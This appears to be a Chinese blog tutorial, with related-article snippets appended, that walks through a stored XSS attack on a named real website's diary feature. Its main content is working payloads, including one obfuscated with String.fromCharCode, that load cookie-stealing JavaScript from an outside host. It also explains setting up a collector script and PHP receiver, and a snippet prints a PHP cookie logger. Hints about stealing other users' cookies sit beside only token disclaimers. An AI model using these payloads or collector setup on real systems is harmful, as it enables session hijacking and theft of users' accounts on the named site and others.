XSS漏洞实例利用

上一篇说了一下XSS的原理,相信大家对XSS的原理有了一定的了解。今天给大家分享一下XSS漏洞的实例利用。

环境:

window 7 64位一台

火狐浏览器就位

外网云服务器一枚(我自己买的...)

可XSS网站一匹

获取Cookie的JS代码一套

好了,以上就是需要准备的东西,没有的外网云服务器(外网IP)的可以百度一下XSS利用的公开平台,自己研究下怎么用(我的服务器就不公开了,太渣了,只是用来做实验没法公开...)

现在我们开始一步一步的进行XSS漏洞利用

0x00  ....biubiubiu....偶遇可X的站点

(这里就把站点公开了,同学们可以自己学习测试下,请不要搞破坏,防止从 ```XSS入门到派出所```)

#需要注册一个账号,可X点位于写日记部分
http://www.vbao100.com/

0x01 开始测试是否存在可X(正常思路啊)

#经典测试代码
<script>alert(1)</script>
#猥琐版测试代码(需要在火狐插件firebug中查看隐蔽性好不易被管理员发现相对弹窗)
console.log(1)

0x02 啊啊啊...弹窗了(确定存在XSS)

在写日记的标题处插入测试代码点击预览(表(不要)发布...发布了管理员会审核)

0x03 确定存在XSS了...可以利用了...嘿嘿嘿....

再次说一下上次说到的XSS paylaod

<script src=‘http://b.ioio.pub/xss/probe.js‘</script>

<img src=x
onerror="s=createElement(‘script‘);body.appendChild(s);s.src=‘http://
b.ioio.pub/xss/probe.js‘";>

<svg onload=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://
b.ioio.pub/xss/probe.js>

<svg onload=
eval(String.fromCharCode(115,61,99,114,101,97,116,101,69,108,101,109,
101,110,116,40,39,115,99,114,105,112,116,39,41,59,98,111,100,121,46,9
7,112,112,101,110,100,67,104,105,108,100,40,115,41,59,115,46,115,114,
99,61,39,104,116,116,112,58,47,47,98,46,105,111,105,111,46,112,117,98,
47,120,115,115,47,112,114,111,98,101,46,106,115)) >

当触发以上某一个标签会从远程加载JS代码,这是你可用通过修改远程的JS代码来实现不同的功能。

大家也看到上面的连接那肯定不是我的呀....来自大神的JS获取COOKIE 的代码

分享一下:

https://github.com/evilcos/xssprobe

主要包含三个文件,在这里给大家说下这三个脚本是干什么用的就不具体介绍代码含义了。

第一个:

这个脚本就是需要远程加载的JS获取Cookie的代码(可以下载一下放到自己的服务器上或XSS平台)
里面有一段需要修改的地方
http_server = "

#  这段需要修改为自己服务器的地址和接受数据的PHP文件

第二个:

这个就是上面提到的需要接受数据的PHP文件这个文件不需要修改。
其作用是将接受的数据写入到第三个文件中。

第三个:

这是就是你获取cookie后显示cookie的地方。通过第一文件获取到cookie然后传个第二个文件由第二个
文件写入到这个文件中显示出来。

0x04 开始利用了...构造利用代码

<script src=‘http://xx.xx.xx.xx/xsstest.js‘ /> (xx.xx.xx.xx就是我的云服务器)

构造好了,然后测试一下成功否....测试我自己申请的账号了....(怎么获取别人的cookie就靠你自己想了,你要私信我就告诉你....)

ok...现在看一下效果图....

现在我们就成功获取到我自己的Cookie了....O(∩_∩)O~

(再次申明,请同学们不要搞破坏,仅供测试使用......)

时间: 2024-10-25 07:44:51

XSS漏洞实例利用的相关文章

利用窗口引用漏洞和XSS漏洞实现浏览器劫持

==Ph4nt0m Security Team==                        Issue 0x03, Phile #0x05 of 0x07 |=---------------------------------------------------------------------------=||=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=||=---------------------------

xss漏洞利用

一.跨站获取cookie 1,hacker端(hacker.php)的程序如下: <?php$cookie=$_GET['cookie'];$file=fopen("cookie.txt","a");fwrite($file,$cookie);fclose($file)?> 2,受害者端(victim.php)的程序如下:<html><head><title>xss跨站原理复现</title></he

看好你的门-XSS攻击(1)-利用反射型XSS漏洞 山寨红客插红旗

首先需要声明,本文纯属一个毫无远见和真才实学的小小开发人员的愚昧见解,仅供用于web系统安全方面的参考. 1. 反射型XSS漏洞 如果一个应用程序使用动态页面向用户显示错误消息,如果系统没有对用户输入的内容进行过滤和处理,就会造成一种常见的XSS漏洞. 提取用户提交的输入并将其插入到服务器响应的HTML代码中,这是XSS漏洞的一个明显特征:如果应用程序没有实施任何过滤或净化措施,那么它很容易受到攻击. 2. 前提和准备 现在很多的浏览器默认有一些防止XSS漏洞或者攻击的功能,推荐用IE浏览器做X

新浪微博的XSS漏洞攻击过程详解

今天晚上(2011年6月28日),新浪微博出现了一次比较大的XSS攻击事件.大量用户自动发送诸如:“郭美美事件的一些未注意到的细节”,“建 党大业中穿帮的地方”,“让女人心动的100句诗歌”,“3D肉团团高清普通话版种子”,“这是传说中的神仙眷侣啊”,“惊爆!范冰冰艳照真流出了”等等 微博和私信,并自动关注一位名为hellosamy的用户. 事件的经过线索如下: 20:14,开始有大量带V的认证用户中招转发蠕虫 20:30,2kt.cn中的病毒页面无法访问 20:32,新浪微博中hellosam

XSS 漏洞介绍

概念: XSS 攻击:跨站脚本攻击 (Cross Site Scripting),为不和层叠样式表 (Cascading Style Sheets, CSS) 的缩写混淆.故将跨站脚本攻击缩写为 XSS. XSS 是一种经常出现在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到提供给其它用户使用的页面中.比如这些代码包括 HTML 代码和客户端脚本. 攻击者利用 XSS 漏洞旁路掉访问控制--例如同源策略 (same origin policy).这种类型的漏洞由于被骇客用

Java反序列化漏洞通用利用分析

2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.WebSphere.JBoss.Jenkins.OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行. 然而事实上,博客作者并不是漏洞发现者.博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上给出了

XSS漏洞

跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息 坚决不要相信任何用户输入并过滤所有特殊字符.这样既可消灭绝大部分的XSS攻击.另一个建议是输出页面时将 < 和 > 变换成 < 和 >.要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害.攻击者会将这些漏洞公之于众,这会在用户隐私的问题上大大降低你的 网站的用户信赖度.当然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时

XSS攻击:SOHU视频XSS漏洞导致其用户成为DDOS肉鸡

XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的. from:http://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html incapsula发现其一个客户遭受了应用层的DDos攻击. 大概有22000的互联网用户对其网站发起了2000万的GET请求.